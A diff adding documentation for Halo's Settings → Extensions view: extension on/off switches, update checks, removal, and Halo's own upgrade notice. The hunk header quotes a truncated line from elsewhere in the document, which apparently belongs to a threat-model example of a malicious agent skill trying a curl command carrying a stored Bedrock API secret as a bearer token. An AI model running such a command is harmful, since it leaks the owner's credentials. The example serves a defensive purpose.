@@ -198,6 +198,18 @@ A malicious skill that tries `curl -H "Bearer {{aws-bedrock-claude-invoke.secret
|
|
|
198
198
|
|
|
199
199
|
Groups top to bottom: **System** (General · Security · Extensions, each with a leading icon), **Extension settings**, **Model providers**, **Agents**, **Skills**, and **Orphans** when there are any. Each group header is a quiet toggle (chevron + smaller muted label) that collapses its items; all groups start expanded, and the collapsed ones are remembered per browser (`localStorage` `halo_settings_navCollapsed`, collapsed ids only — so a group that appears later starts expanded).
|
|
200
200
|
|
|
201
|
+
## Extensions view and update notices
|
|
202
|
+
|
|
203
|
+
**Settings → Extensions** (System group) lists the installed canvas preview extensions — on and off in one list sorted by id, plus refused directories as red rows — with **Install from zip** in the header. Each valid row offers:
|
|
204
|
+
|
|
205
|
+
- an **on / off switch**. Off = the extension acts as uninstalled everywhere (no previews, Open with, activity-bar or chat-bar entry, skills or settings section) while its files and settings values stay; the row is dimmed with an "Off" tag. A fresh install starts on; an update keeps the switch; uninstalling forgets it. A tab with unsaved changes stays open on a just-switched-off extension with a "turned off — save your changes" banner;
|
|
206
|
+
- **Update** when its update.json names a newer version (a blue "Latest X" under the name). One click downloads, verifies and installs it; open tabs pick the new version up as with any upgrade. A newer version that needs a newer Halo shows "X needs Halo Y — upgrade Halo first" and no button. A downgrade is never offered. Other grey lines: "No update info at the source", "No update source configured" (a non-GitHub `hub_repo` with no `hub_base`), or why the source couldn't be read (invalid / refused / unreachable);
|
|
207
|
+
- **Remove** (with a confirm).
|
|
208
|
+
|
|
209
|
+
The header's **Check for updates** re-checks every extension (at most once a minute), and "Last checked hh:mm" shows when the last check finished. Opening the view checks automatically only when the last check is over a day old; results are pushed to every open admin, with no polling and no badge.
|
|
210
|
+
|
|
211
|
+
**Halo itself**: the foot of the Settings sidebar shows "Halo v<version>" and **Check for updates**. It is checked when Settings is opened (again at most once a day; the button forces it, at most once a minute) against npm's `latest` — no badge elsewhere, no automatic upgrade. A newer release shows "New version X", the command `halo upgrade && halo server restart` with a copy button, a hint that a systemd system unit needs `sudo` (see [dev/deploy.md → Upgrade flow](../dev/deploy.md#upgrade-flow)) and a Release notes link. In the desktop app it shows only "Download the new installer"; a source build shows "Source build — not checked"; a failed check shows one grey line. Design: [design/canvas-extensions.md → Updates](../design/canvas-extensions.md#updates-updatejson).
|
|
212
|
+
|
|
201
213
|
## Security view (change password + logout)
|
|
202
214
|
|
|
203
215
|
A **Security** entry in the left nav (inside the System group, below General) opens a page with two cards. Like `__orphans` it's a synthetic nav target, not a schema section — the credential lives in `~/.halo/secrets/config.yaml` (`server.password`, scrypt hash), not `settings.yaml`, and the header shows that path accordingly.
|